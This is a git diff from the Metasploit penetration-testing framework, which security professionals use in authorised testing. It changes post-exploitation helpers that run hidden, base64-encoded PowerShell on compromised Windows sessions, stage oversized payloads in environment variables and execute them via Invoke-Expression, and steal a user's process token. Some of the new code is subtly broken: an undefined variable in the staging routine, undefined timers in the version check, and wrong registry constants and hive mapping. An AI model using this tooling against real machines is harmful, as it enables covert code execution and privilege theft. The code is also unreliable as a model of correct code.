session.sys.process.get_processes.keep_if {|p| - p['name'].downcase == 'powershell.exe' - }.map {|p| p['pid']} - # Subtract previously known pids - current_pids = (current_pids - pids).uniq - return current_pids - end - - # - # Execute a powershell script and return the output, channels, and pids. The script - # is never written to disk. - # - def execute_script(script, greedy_kill = false) - @session_pids ||= [] - running_pids = greedy_kill ? get_ps_pids : [] - open_channels = [] - # Execute using -EncodedCommand - session.response_timeout = datastore['Powershell::Post::timeout'].to_i - ps_bin = datastore['Powershell::Post::force_wow64'] ? - '%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe' - unless script.to_s.match( /[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s and script.to_s.length % 4 == 0 - script = encode_script(script.to_s) - end - ps_string = "#{ps_bin} -EncodedCommand #{script} -InputFormat None" - vprint_good("EXECUTING:\n#{ps_string}") - cmd_out = session.sys.process.execute(ps_string, nil, {'Hidden' => true, 'Channelized' => true}) - - # Subtract prior PIDs from current - if greedy_kill - Rex::ThreadSafe.sleep(3) # Let PS start child procs - running_pids = get_ps_pids(running_pids) - end - - # Add to list of running processes - running_pids << cmd_out.pid - - # All pids start here, so store them in a class variable - (@session_pids += running_pids).uniq! - - # Add to list of open channels - open_channels << cmd_out - - return [cmd_out, running_pids.uniq, open_channels] - end - - - # - # Powershell scripts that are longer than 8000 bytes are split into 8000 - # byte chunks and stored as CMD environment variables. A new powershell - # script is built that will reassemble the chunks and execute the script. - # Returns the reassembly script. - # - def stage_cmd_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8)) - - # Check to ensure script is encoded and compressed - if compressed_script =~ /\s|\.|\;/ - compressed_script = compress_script(compressed_script) - end - # Divide the encoded script into 8000 byte chunks and iterate - index = 0 - count = 8000 - while (index < compressed_script.size - 1) - # Define random, but serialized variable name - env_prefix = "%05d" % ((index + 8000)/8000) - env_variable = env_prefix + env_suffix - - # Create chunk - chunk = compressed_script[index, count] - - # Build the set commands - set_env_variable = "[Environment]::SetEnvironmentVariable(" - set_env_variable += "'#{env_variable}'," - set_env_variable += "'#{chunk}', 'User')" - - # Compress and encode the set command - encoded_stager = encode_script(compress_script(set_env_variable)) - - # Stage the payload - print_good(" - Bytes remaining: #{compressed_script.size - index}") - cmd_out, running_pids, open_channels = execute_script(encoded_stager, false) - # Increment index - index += count - - end - - # Build the script reassembler - reassemble_command = "[Environment]::GetEnvironmentVariables('User').keys|" - reassemble_command += "Select-String #{env_suffix}|Sort-Object|%{" - reassemble_command += "$c+=[Environment]::GetEnvironmentVariable($_,'User')" - reassemble_command += "};Invoke-Expression $($([Text.Encoding]::Unicode." - reassemble_command += "GetString($([Convert]::FromBase64String($c)))))" - - # Compress and encode the reassemble command - encoded_script = encode_script(compress_script(reassemble_command)) - - return encoded_script - end - - # - # Uploads a script into a Powershell session via memory (Powershell session types only). - # If the script is larger than 15000 bytes the script will be uploaded in a staged approach - # - def stage_psh_env(script) - begin - ps_script = read_script(script) - encoded_expression = encode_script(ps_script) - cleanup_commands = [] - # Add entropy to script variable names - script_var = ps_script.rig.generate(4) - decscript = ps_script.rig.generate(4) - scriptby = ps_script.rig.generate(4) - scriptbybase = ps_script.rig.generate(4) - scriptbybasefull = ps_script.rig.generate(4) - - if (encoded_expression.size > 14999) - print_error("Script size: #{encoded_expression.size} This script requires a stager") - arr = encoded_expression.chars.each_slice(14999).map(&:join) - print_good("Loading " + arr.count.to_s + " chunks into the stager.") - vararray = [] - arr.each_with_index do |slice, index| - variable = ps_script.rig.generate(5) - vararray << variable - indexval = index+1 - vprint_good("Loaded stage:#{indexval}") - session.shell_command("$#{variable} = \"#{slice}\"") - cleanup_commands << "Remove-Variable #{variable} -EA 0" + def initialize(info = {}) + super + register_advanced_options( + [ + OptInt.new('Powershell::Post::timeout', + [true, 'Powershell execution timeout, set < 0 to run async without termination', 15]), + OptBool.new('Powershell::Post::log_output', [true, 'Write output to log file', false]), + OptBool.new('Powershell::Post::dry_run', [true, 'Return encoded output to caller', false]), + OptBool.new('Powershell::Post::force_wow64', [true, 'Force WOW64 execution', false]), + ], self.class + ) end - linkvars = '' - for var in vararray - linkvars = linkvars + " + $" + var + + # + # Returns true if powershell is installed + # + def have_powershell? + cmd_exec('cmd.exe /c "echo. | powershell get-host"') =~ /Name.*Version.*InstanceId/m end - linkvars.slice!(0..2) - session.shell_command("$#{script_var} = #{linkvars}") - else - print_good("Script size: #{encoded_expression.size}") - session.shell_command("$#{script_var} = \"#{encoded_expression}\"") - end - session.shell_command("$#{decscript} = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($#{script_var}))") - session.shell_command("$#{scriptby} = [System.Text.Encoding]::UTF8.GetBytes(\"$#{decscript}\")") - session.shell_command("$#{scriptbybase} = [System.Convert]::ToBase64String($#{scriptby}) ") - session.shell_command("$#{scriptbybasefull} = ([System.Convert]::FromBase64String($#{scriptbybase}))") - session.shell_command("([System.Text.Encoding]::UTF8.GetString($#{scriptbybasefull}))|iex") - print_good("Module loaded") - unless cleanup_commands.empty? - vprint_good("Cleaning up #{cleanup_commands.count} stager variables") - session.shell_command("#{cleanup_commands.join(';')}") - end - rescue Errno::EISDIR => e - vprint_error("Unable to upload script: #{e.message}") - end - end - # - # Reads output of the command channel and empties the buffer. - # Will optionally log command output to disk. - # - def get_ps_output(cmd_out, eof, read_wait = 5) - results = '' + # + # Returns the Powershell version + # + def get_powershell_version + return nil unless have_powershell? - if datastore['Powershell::Post::log_output'] - # Get target's computer name - computer_name = session.sys.config.sysinfo['Computer'] + process, _pid, _c = execute_script('$PSVersionTable.PSVersion') - # Create unique log directory - log_dir = ::File.join(Msf::Config.log_directory,'scripts','powershell', computer_name) - ::FileUtils.mkdir_p(log_dir) + o = '' - # Define log filename - time_stamp = ::Time.now.strftime('%Y%m%d:%H%M%S') - log_file = ::File.join(log_dir,"#{time_stamp}.txt") + while (d = process.channel.read) + if d == "" + if (Time.now.to_i - start < time_out) && (o == '') + sleep 0.1 + else + break + end + else + o << d + end + end - - # Open log file for writing - fd = ::File.new(log_file, 'w+') - end - - # Read output until eof or nil return output and write to log - while (1) - line = ::Timeout.timeout(read_wait) { - cmd_out.channel.read - } rescue nil - break if line.nil? - if (line.sub!(/#{eof}/, '')) - results << line - fd.write(line) if fd - #vprint_good("\t#{line}") - break - end - results << line - fd.write(line) if fd - #vprint_status("\n#{line}") - end - - # Close log file - # cmd_out.channel.close() - fd.close() if fd - - return results - - # - # Incremental read method - NOT USED - # - # read_data = '' - # segment = 2**16 - # # Read incrementally smaller blocks after each failure/timeout - # while segment > 0 do - # begin - # read_data << ::Timeout.timeout(read_wait) { - # cmd_out.channel.read(segment) - # } - # rescue - # segment = segment/2 - # end - # end - end - - # - # Clean up powershell script including process and chunks stored in environment variables - # - def clean_up( - script_file = nil, - eof = '', - running_pids =[], - open_channels = [], - env_suffix = Rex::Text.rand_text_alpha(8), - delete = false - ) - # Remove environment variables - env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|" - env_del_command += "Select-String #{env_suffix}|%{" - env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}" - - script = compress_script(env_del_command, eof) - cmd_out, new_running_pids, new_open_channels = execute_script(script) - get_ps_output(cmd_out, eof) - - # Kill running processes, should mutex this... - @session_pids = (@session_pids + running_pids + new_running_pids).uniq - (running_pids + new_running_pids).uniq.each do |pid| - begin - if session.sys.process.processes.map {|x|x['pid']}.include?(pid) - session.sys.process.kill(pid) + o.scan(/[\d \-]+/).last.split[0, 2] * '.' + end + + # + # Get/compare list of current PS processes - nested execution can spawn many children + # doing checks before and after execution allows us to kill more children... + # This is a hack, better solutions are welcome since this could kill user + # spawned powershell windows created between comparisons. + # + def get_ps_pids(pids = []) + current_pids = session.sys.process.get_processes.keep_if { |p| p['name'].casecmp('powershell.exe').zero? }.map { |p| p['pid'] } + # Subtract previously known pids + current_pids = (current_pids - pids).uniq + current_pids + end + + # + # Execute a powershell script and return the output, channels, and pids. The script + # is never written to disk. + # + def execute_script(script, greedy_kill = false) + @session_pids ||= [] + running_pids = greedy_kill ? get_ps_pids : [] + open_channels = [] + # Execute using -EncodedCommand + session.response_timeout = datastore['Powershell::Post::timeout'].to_i + ps_bin = datastore['Powershell::Post::force_wow64'] ? + '%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe' + + # Check to ensure base64 encoding - regex format and content length division + unless script.to_s.match(/[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s && (script.to_s.length % 4).zero? + script = encode_script(script.to_s) + end + + ps_string = "#{ps_bin} -EncodedCommand #{script} -InputFormat None" + vprint_good "EXECUTING:\n#{ps_string}" + cmd_out = session.sys.process.execute(ps_string, nil, { 'Hidden' => true, 'Channelized' => true }) + + # Subtract prior PIDs from current + if greedy_kill + Rex::ThreadSafe.sleep(3) # Let PS start child procs + running_pids = get_ps_pids(running_pids) + end + + # Add to list of running processes + running_pids << cmd_out.pid + + # All pids start here, so store them in a class variable + (@session_pids += running_pids).uniq! + + # Add to list of open channels + open_channels << cmd_out + + [cmd_out, running_pids.uniq, open_channels] + end + + # + # Powershell scripts that are longer than 8000 bytes are split into 8000 + # byte chunks and stored as CMD environment variables. A new powershell + # script is built that will reassemble the chunks and execute the script. + # Returns the reassembly script. + # + def stage_cmd_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8)) + # Check to ensure script is encoded and compressed + if compressed_script =~ /\s|\.|\;/ + compressed_script = compress_script(compressed_script) + end + + # Divide the encoded script into 8000 byte chunks and iterate + index = 0 + count = 8000 + while index < compressed_script.size - 1 + # Define random, but serialized variable name + env_prefix = format("%05d%s", ((index + 8000) / 8000), env_suffix) + + # Create chunk + chunk = compressed_script[index, count] + + # Build the set commands + set_env_variable = "[Environment]::SetEnvironmentVariable(" \ + "'#{env_variable}'," \ + "'#{chunk}', 'User')" + + # Compress and encode the set command + encoded_stager = encode_script(compress_script(set_env_variable)) + + # Stage the payload + print_good " - Bytes remaining: #{compressed_script.size - index}" + execute_script(encoded_stager, false) + + index += count + end + + # Build the script reassembler + reassemble_command = "[Environment]::GetEnvironmentVariables('User').keys|" + reassemble_command += "Select-String #{env_suffix}|Sort-Object|%{" + reassemble_command += "$c+=[Environment]::GetEnvironmentVariable($_,'User')" + reassemble_command += "};Invoke-Expression $($([Text.Encoding]::Unicode." + reassemble_command += "GetString($([Convert]::FromBase64String($c)))))" + + # Compress and encode the reassemble command + encoded_script = encode_script(compress_script(reassemble_command)) + + encoded_script + end + + # + # Uploads a script into a Powershell session via memory (Powershell session types only). + # If the script is larger than 15000 bytes the script will be uploaded in a staged approach + # + def stage_psh_env(script) + begin + ps_script = read_script(script) + encoded_expression = encode_script(ps_script) + cleanup_commands = [] + # Add entropy to script variable names + script_var = ps_script.rig.generate(4) + decscript = ps_script.rig.generate(4) + scriptby = ps_script.rig.generate(4) + scriptbybase = ps_script.rig.generate(4) + scriptbybasefull = ps_script.rig.generate(4) + + if encoded_expression.size > 14999 + print_error "Script size: #{encoded_expression.size} This script requires a stager" + arr = encoded_expression.chars.each_slice(14999).map(&:join) + print_good "Loading #{arr.count} chunks into the stager." + vararray = [] + arr.each_with_index do |slice, index| + variable = ps_script.rig.generate(5) + vararray << variable + indexval = index + 1 + vprint_good "Loaded stage:#{indexval}" + session.shell_command("$#{variable} = \"#{slice}\"") + cleanup_commands << "Remove-Variable #{variable} -EA 0" + end + + linkvars = '' + vararray.each { |var| linkvars << " + $#{var}" } + linkvars.slice!(0..2) + session.shell_command("$#{script_var} = #{linkvars}") + + else + print_good "Script size: #{encoded_expression.size}" + session.shell_command("$#{script_var} = \"#{encoded_expression}\"") + end + + session.shell_command("$#{decscript} = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($#{script_var}))") + session.shell_command("$#{scriptby} = [System.Text.Encoding]::UTF8.GetBytes(\"$#{decscript}\")") + session.shell_command("$#{scriptbybase} = [System.Convert]::ToBase64String($#{scriptby}) ") + session.shell_command("$#{scriptbybasefull} = ([System.Convert]::FromBase64String($#{scriptbybase}))") + session.shell_command("([System.Text.Encoding]::UTF8.GetString($#{scriptbybasefull}))|iex") + print_good "Module loaded" + + unless cleanup_commands.empty? + vprint_good "Cleaning up #{cleanup_commands.count} stager variables" + session.shell_command(cleanup_commands.join(';').to_s) + end + rescue Errno::EISDIR => e + vprint_error "Unable to upload script: #{e.message}" + end + end + + # + # Reads output of the command channel and empties the buffer. + # Will optionally log command output to disk. + # + def get_ps_output(cmd_out, eof, read_wait = 5) + results = '' + + if datastore['Powershell::Post::log_output'] + # Get target's computer name + computer_name = session.sys.config.sysinfo['Computer'] + + # Create unique log directory + log_dir = ::File.join(Msf::Config.log_directory, 'scripts', 'powershell', computer_name) + ::FileUtils.mkdir_p(log_dir) + + # Define log filename + time_stamp = ::Time.now.strftime('%Y%m%d:%H%M%S') + log_file = ::File.join(log_dir, "#{time_stamp}.txt") + + # Open log file for writing + fd = ::File.new(log_file, 'w+') + end + + # Read output until eof or nil return output and write to log + loop do + line = ::Timeout.timeout(read_wait) do + cmd_out.channel.read + end rescue nil + break if line.nil? + if line.sub!(/#{eof}/, '') + results << line + fd.write(line) if fd + break + end + results << line + fd.write(line) if fd + end + + # Close log file + fd.close if fd + + results + end + + # + # Clean up powershell script including process and chunks stored in environment variables + # + def clean_up(script_file = nil, eof = '', running_pids = [], open_channels = [], + env_suffix = Rex::Text.rand_text_alpha(8), delete = false) + # Remove environment variables + env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|" + env_del_command += "Select-String #{env_suffix}|%{" + env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}" + + script = compress_script(env_del_command, eof) + cmd_out, new_running_pids, new_open_channels = execute_script(script) + get_ps_output(cmd_out, eof) + + # Kill running processes, should mutex this... + @session_pids = (@session_pids + running_pids + new_running_pids).uniq + (running_pids + new_running_pids).uniq.each do |pid| + begin + if session.sys.process.processes.map { |x| x['pid'] }.include?(pid) + session.sys.process.kill(pid) + end + @session_pids.delete(pid) + rescue Rex::Post::Meterpreter::RequestError => e + print_error "Failed to kill #{pid} due to #{e}" + end + end + + # Close open channels + (open_channels + new_open_channels).uniq.each do |chan| + chan.channel.close + end + + ::File.delete(script_file) if script_file && delete + end + + # Simple script execution wrapper, performs all steps + # required to execute a string of powershell. + # This method will try to kill all powershell.exe PIDs + # which appeared during its execution, set greedy_kill + # to false if this is not desired. + # + def psh_exec(script, greedy_kill = true, ps_cleanup = true) + # Define vars + eof = Rex::Text.rand_text_alpha(8) + # eof = "THIS__SCRIPT_HAS__COMPLETED_EXECUTION#{rand(100)}" + env_suffix = Rex::Text.rand_text_alpha(8) + script = Rex::Powershell::Script.new(script) unless script.respond_to?(:compress_code) + + # Check to ensure base64 encoding - regex format and content length division + unless script.to_s.match(/[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s && (script.to_s.length % 4).zero? + script = encode_script(compress_script(script.to_s, eof), eof) + end + + if datastore['Powershell::Post::dry_run'] + return "powershell -EncodedCommand #{script}" + else + # Check 8k cmd buffer limit, stage if needed + if script.size > 8100 + vprint_error "Compressed size: #{script.size}" + error_msg = "Compressed size may cause command to exceed " \ + "cmd.exe's 8kB character limit." + vprint_error error_msg + vprint_good 'Launching stager:' + script = stage_cmd_env(script, env_suffix) + print_good "Payload successfully staged." + else + print_good "Compressed size: #{script.size}" + end + + vprint_good "Final command #{script}" + + # Execute the script, get the output, and kill the resulting PIDs + cmd_out, running_pids, open_channels = execute_script(script, greedy_kill) + if datastore['Powershell::Post::timeout'].to_i < 0 + out = "Started async execution of #{running_pids.join(', ')}, output collection and cleanup will not be performed" + # print_error out + return out + end + ps_output = get_ps_output(cmd_out, eof, datastore['Powershell::Post::timeout']) + # Kill off the resulting processes if needed + if ps_cleanup + vprint_good "Cleaning up #{running_pids.join(', ')}" + clean_up(nil, eof, running_pids, open_channels, env_suffix, false) + end + + return ps_output + end end - @session_pids.delete(pid) - rescue Rex::Post::Meterpreter::RequestError => e - print_error "Failed to kill #{pid} due to #{e}" end end - - - # Close open channels - (open_channels + new_open_channels).uniq.each do |chan| - chan.channel.close - end - - ::File.delete(script_file) if (script_file and delete) - - return - end - - # Simple script execution wrapper, performs all steps - # required to execute a string of powershell. - # This method will try to kill all powershell.exe PIDs - # which appeared during its execution, set greedy_kill - # to false if this is not desired. - # - def psh_exec(script, greedy_kill=true, ps_cleanup=true) - # Define vars - eof = Rex::Text.rand_text_alpha(8) - # eof = "THIS__SCRIPT_HAS__COMPLETED_EXECUTION#{rand(100)}" - env_suffix = Rex::Text.rand_text_alpha(8) - script = Rex::Powershell::Script.new(script) unless script.respond_to?(:compress_code) - # Check to ensure base64 encoding - regex format and content length division - unless script.to_s.match( /[A-Za-z0-9+\/]+={0,3}/)[0] == script.to_s and script.to_s.length % 4 == 0 - script = encode_script(compress_script(script.to_s, eof),eof) - end - if datastore['Powershell::Post::dry_run'] - return "powershell -EncodedCommand #{script}" - else - # Check 8k cmd buffer limit, stage if needed - if (script.size > 8100) - vprint_error("Compressed size: #{script.size}") - error_msg = "Compressed size may cause command to exceed " - error_msg += "cmd.exe's 8kB character limit." - vprint_error(error_msg) - vprint_good('Launching stager:') - script = stage_cmd_env(script, env_suffix) - print_good("Payload successfully staged.") - else - print_good("Compressed size: #{script.size}") - end - vprint_good("Final command #{script}") - # Execute the script, get the output, and kill the resulting PIDs - cmd_out, running_pids, open_channels = execute_script(script, greedy_kill) - if datastore['Powershell::Post::timeout'].to_i < 0 - out = "Started async execution of #{running_pids.join(', ')}, output collection and cleanup will not be performed" - # print_error out - return out - end - ps_output = get_ps_output(cmd_out,eof,datastore['Powershell::Post::timeout']) - # Kill off the resulting processes if needed - if ps_cleanup - vprint_good( "Cleaning up #{running_pids.join(', ')}" ) - clean_up(nil, eof, running_pids, open_channels, env_suffix, false) - end - return ps_output - end end - -end -end -end end diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb index d6b6e578fa..10a1fac955 100644 --- a/lib/msf/core/post/windows/priv.rb +++ b/lib/msf/core/post/windows/priv.rb @@ -43,6 +43,48 @@ module Msf::Post::Windows::Priv end end + # Steals the current user's token. + # @see steal_token + def steal_current_user_token + steal_token(get_env('COMPUTERNAME'), get_env('USERNAME')) + end + + # + # Steals a token for a user. + # @param String computer_name Computer name. + # @param String user_name To token to steal from. If not set, it will try to steal + # the current user's token. + # @return [boolean] TrueClass if successful, otherwise FalseClass. + # @example steal_token(get_env('COMPUTERNAME'), get_env('USERNAME')) + # + def steal_token(computer_name, user_name) + pid = nil + + session.sys.process.processes.each do |p| + if p['user'] == "#{computer_name}\\#{user_name}" + pid = p['pid'] + end + end + + unless pid + vprint_error("No PID found for #{user_name}") + return false + end + + vprint_status("Stealing token from PID #{pid} for #{user_name}") + + begin + session.sys.config.steal_token(pid) + rescue Rex::Post::Meterpreter::RequestError => e + # It could raise an exception even when the token is successfully stolen, + # so we will just log the exception and move on. + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + end + + true + end + + # # Returns true if in the administrator group # @@ -90,7 +132,7 @@ module Msf::Post::Windows::Priv uac = false winversion = session.sys.config.sysinfo['OS'] - if winversion =~ /Windows (Vista|7|8|2008|2012)/ + if winversion =~ /Windows (Vista|7|8|2008|2012|10)/ unless is_system? begin enable_lua = registry_getvaldata( diff --git a/lib/msf/core/post/windows/registry.rb b/lib/msf/core/post/windows/registry.rb index c5c76fc85f..abe32cded7 100644 --- a/lib/msf/core/post/windows/registry.rb +++ b/lib/msf/core/post/windows/registry.rb @@ -29,6 +29,51 @@ module Registry # REGISTRY_VIEW_64_BIT = 2 + # + # Windows Registry Constants. + # + REG_NONE = 1 + REG_SZ = 1 + REG_EXPAND_SZ = 2 + REG_BINARY = 3 + REG_DWORD = 4 + REG_LITTLE_ENDIAN = 4 + REG_BIG_ENDIAN = 5 + REG_LINK = 6 + REG_MULTI_SZ = 7 + + HKEY_CLASSES_ROOT = 0x80000000 + HKEY_CURRENT_USER = 0x80000001 + HKEY_LOCAL_MACHINE = 0x80000002 + HKEY_USERS = 0x80000003 + HKEY_PERFORMANCE_DATA = 0x80000004 + HKEY_CURRENT_CONFIG = 0x80000005 + HKEY_DYN_DATA = 0x80000006 + + # + # Lookup registry hives by key. + # + def registry_hive_lookup(hive) + case hive + when 'HKCR' + HKEY_LOCAL_MACHINE + when 'HKCU' + HKEY_CURRENT_USER + when 'HKLM' + HKEY_LOCAL_MACHINE + when 'HKU' + HKEY_USERS + when 'HKPD' + HKEY_PERFORMANCE_DATA + when 'HKCC' + HKEY_CURRENT_CONFIG + when 'HKDD' + HKEY_DYN_DATA + else + HKEY_LOCAL_MACHINE + end + end + # # Load a hive file # diff --git a/lib/msf/core/post/windows/user_profiles.rb b/lib/msf/core/post/windows/user_profiles.rb index 9c686a74fb..d98424cf31 100644 --- a/lib/msf/core/post/windows/user_profiles.rb +++ b/lib/msf/core/post/windows/user_profiles.rb @@ -79,7 +79,7 @@ module UserProfiles read_profile_list().each do |hive| hive['OURS']=false if hive['LOADED']== false - if session.fs.file.exists?(hive['DAT']) + if session.fs.file.exist?(hive['DAT']) hive['OURS'] = registry_loadkey(hive['HKU'], hive['DAT']) print_error("Error loading USER #{hive['SID']}: Hive could not be loaded, are you Admin?") unless hive['OURS'] else diff --git a/lib/msf/core/rpc/v10/rpc_module.rb b/lib/msf/core/rpc/v10/rpc_module.rb index d851b1f501..ef80fadf3c 100644 --- a/lib/msf/core/rpc/v10/rpc_module.rb +++ b/lib/msf/core/rpc/v10/rpc_module.rb @@ -1,5 +1,7 @@ # -*- coding: binary -*- +require 'msf/util/document_generator' + module Msf module RPC class RPC_Module < RPC_Base @@ -70,6 +72,17 @@ class RPC_Module < RPC_Base end + # Returns detailed information about a module in HTML. + # + # @return [String] HTML file. + # @example Here's how you would use this from the client: + # rpc.call('module.info_html', 'exploit', 'windows/smb/ms08_067_netapi') + def rpc_info_html(mtype, mname) + m = _find_module(mtype, mname) + Msf::Util::DocumentGenerator.get_module_document(m) + end + + # Returns the metadata for a module. # # @param [String] mtype Module type. Supported types include (case-sensitive): diff --git a/lib/msf/core/rpc/v10/rpc_plugin.rb b/lib/msf/core/rpc/v10/rpc_plugin.rb index 3b287887fd..1a650808b5 100644 --- a/lib/msf/core/rpc/v10/rpc_plugin.rb +++ b/lib/msf/core/rpc/v10/rpc_plugin.rb @@ -30,7 +30,7 @@ class RPC_Plugin < RPC_Base # If the plugin isn't in the user direcotry (~/.msf3/plugins/), use the base path = Msf::Config.user_plugin_directory + File::SEPARATOR + plugin_file_name - if not File.exists?( path + ".rb" ) + if not File.exist?( path + ".rb" ) # If the following "path" doesn't exist it will be caught when we attempt to load path = Msf::Config.plugin_directory + File::SEPARATOR + plugin_file_name end diff --git a/lib/msf/sanity.rb b/lib/msf/sanity.rb index 0a5506fa03..dc5ef2696d 100644 --- a/lib/msf/sanity.rb +++ b/lib/msf/sanity.rb @@ -3,36 +3,6 @@ # Provides some sanity checks against the ruby build and version # -# Check for the broken pack/unpack in OS X 10.4.x -if ([1].pack('n') == "\x01\x00") - $stderr.puts "*** This ruby build has a broken pack/unpack implementation! " - - if (RUBY_PLATFORM =~ /darwin/) - $stderr.puts " Apple shipped a broken version of ruby with the 10.4.x " - $stderr.puts " release. Please install ruby from source, or use one of " - $stderr.puts " the free package managers to obtain a working ruby build." - end - - exit(0) -end - -# Check for ruby 1.8.2 as the minimal supported version -if (RUBY_VERSION =~ /^1\.[0-7]\./ or RUBY_VERSION =~ /^1\.8\.[0-1]$/) - $stderr.puts "*** This version of ruby is not supported, please upgrade to 1.8.7+" - exit(0) -end - -# Check for ruby 1.9.0 and throw a big nasty warning -if (RUBY_VERSION =~ /^1\.9\.0/) - $stderr.puts "*** Ruby 1.9.0 is not supported, please upgrade to Ruby 1.9.3 or newer." - exit(0) -end - -# Check for ruby 1.9.1 and throw a warning -if (RUBY_VERSION =~ /^1\.9\.1/) - $stderr.puts "*** Ruby 1.9.1 is not supported, please upgrade to Ruby 1.9.3 or newer." -end - if(RUBY_PLATFORM == 'java') require 'socket' s = Socket.new(::Socket::AF_INET, ::Socket::SOCK_STREAM, ::Socket::IPPROTO_TCP) @@ -56,56 +26,3 @@ rescue ::LoadError $stderr.puts "*** The ruby-openssl library is not installed, many features will be disabled!" $stderr.puts "*** Examples: Meterpreter, SSL Sockets, SMB/NTLM Authentication, and more" end - - -# -# Check for the ugly 1.8.7 short-named constants bug -# - -class ConstBugTestA - Const = 'A' - def test - Const == 'A' - end -end - -ConstBugTestC = ConstBugTestA.dup - -class ConstBugTestB < ConstBugTestC - Const = 'B' -end - -def ruby_187_const_bug - bugged = false - - begin - ConstBugTestA.new.test() - ConstBugTestB.new.test() - rescue ::NameError - bugged = true - end - - bugged -end - -if(ruby_187_const_bug()) - $stderr.puts "" - $stderr.puts "***********************************************************************" - $stderr.puts "*** *" - $stderr.puts "*** This version of the Ruby interpreter contains a serious bug *" - $stderr.puts "*** related to short-named constants, we strongly recommend that you *" - $stderr.puts "*** switch to a fixed version. Unfortunately, some Linux distros have *" - $stderr.puts "*** backported the buggy patch into 1.8.6, so you may need to contact *" - $stderr.puts "*** your vendor and ask them to review the URL below. *" - $stderr.puts "*** *" - $stderr.puts "*** Alternatively, you can download, build, and install the latest *" - $stderr.puts "*** stable snapshot of Ruby from the following URL: *" - $stderr.puts "*** - http://www.ruby-lang.org/ *" - $stderr.puts "*** *" - $stderr.puts "*** For more information, please see the following URL: *" - $stderr.puts "*** - https://bugs.launchpad.net/bugs/282302 *" - $stderr.puts "*** *" - $stderr.puts "***********************************************************************" - $stderr.puts "" -end - diff --git a/lib/msf/ui/console/command_dispatcher.rb b/lib/msf/ui/console/command_dispatcher.rb index c8bcd12e52..0d3155c755 100644 --- a/lib/msf/ui/console/command_dispatcher.rb +++ b/lib/msf/ui/console/command_dispatcher.rb @@ -60,12 +60,6 @@ module CommandDispatcher def active_session=(mod) driver.active_session = mod end - # - # Checks to see if the driver is defanged. - # - def defanged? - driver.defanged? - end # # Logs an error message to the screen and the log file. The callstack is diff --git a/lib/msf/ui/console/command_dispatcher/auxiliary.rb b/lib/msf/ui/console/command_dispatcher/auxiliary.rb index b667c6367c..19bf3fb964 100644 --- a/lib/msf/ui/console/command_dispatcher/auxiliary.rb +++ b/lib/msf/ui/console/command_dispatcher/auxiliary.rb @@ -72,8 +72,6 @@ class Auxiliary # Executes an auxiliary module # def cmd_run(*args) - defanged? - opt_str = nil action = mod.datastore['ACTION'] jobify = false diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 479e84170e..de435584e9 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -16,6 +16,7 @@ require 'msf/ui/console/command_dispatcher/nop' require 'msf/ui/console/command_dispatcher/payload' require 'msf/ui/console/command_dispatcher/auxiliary' require 'msf/ui/console/command_dispatcher/post' +require 'msf/util/document_generator' module Msf module Ui @@ -95,10 +96,6 @@ class Core "-h" => [ false, "Help banner." ], "-e" => [ true, "Expression to evaluate." ]) - # The list of data store elements that cannot be set when in defanged - # mode. - DefangedProhibitedDataStoreElements = [ "MsfModulePaths" ] - # Constant for disclosure date formatting in search functions DISCLOSURE_DATE_FORMAT = "%Y-%m-%d" @@ -139,6 +136,7 @@ class Core "route" => "Route traffic through a session", "save" => "Saves the active datastores", "search" => "Searches module names and descriptions", + "sess" => "Interact with a given session", "sessions" => "Dump session listings and display information about sessions", "set" => "Sets a context-specific variable to a value", "setg" => "Sets a global variable to a value", @@ -224,6 +222,13 @@ class Core end end + if framework.modules.module_load_warnings.length > 0 + print_warning("The following modules were loaded with warnings:") + framework.modules.module_load_warnings.each do |path, error| + print_warning("\t#{path}: #{error}") + end + end + cmd_banner() end @@ -245,7 +250,7 @@ class Core args.each do |res| good_res = nil - if ::File.exists?(res) + if ::File.exist?(res) good_res = res elsif # let's check to see if it's in the scripts/resource dir (like when tab completed) @@ -254,7 +259,7 @@ class Core ::Msf::Config.user_script_directory + ::File::SEPARATOR + "resource" ].each do |dir| res_path = dir + ::File::SEPARATOR + res - if ::File.exists?(res_path) + if ::File.exist?(res_path) good_res = res_path break end @@ -744,7 +749,9 @@ class Core def cmd_info_help print_line "Usage: info [mod2 mod3 ...]" print_line - print_line "Optionally the flag '-j' will print the data in json format" + print_line "Options:" + print_line "* The flag '-j' will print the data in json format" + print_line "* The flag '-d' will show the markdown version with a browser. More info, but could be slow." print_line "Queries the supplied module or modules for information. If no module is given," print_line "show info for the currently active module." print_line @@ -755,15 +762,30 @@ class Core # def cmd_info(*args) dump_json = false + show_doc = false + if args.include?('-j') args.delete('-j') dump_json = true end + if args.include?('-d') + args.delete('-d') + show_doc = true + end + if (args.length == 0) if (active_module) if dump_json print(Serializer::Json.dump_module(active_module) + "\n") + elsif show_doc + f = Rex::Quickfile.new(["#{active_module.shortname}_doc", '.html']) + begin + print_status("Generating documentation for #{active_module.shortname}, then opening #{f.path} in a browser...") + Msf::Util::DocumentGenerator.spawn_module_document(active_module, f) + ensure + f.close if f + end else print(Serializer::ReadableText.dump_module(active_module)) end @@ -784,6 +806,14 @@ class Core print_error("Invalid module: #{name}") elsif dump_json print(Serializer::Json.dump_module(mod) + "\n") + elsif show_doc + f = Rex::Quickfile.new(["#{mod.shortname}_doc", '.html']) + begin + print_status("Generating documentation for #{mod.shortname}, then opening #{f.path} in a browser...") + Msf::Util::DocumentGenerator.spawn_module_document(mod, f) + ensure + f.close if f + end else print(Serializer::ReadableText.dump_module(mod)) end @@ -809,7 +839,7 @@ class Core end end - args.each { |name| + args.each do 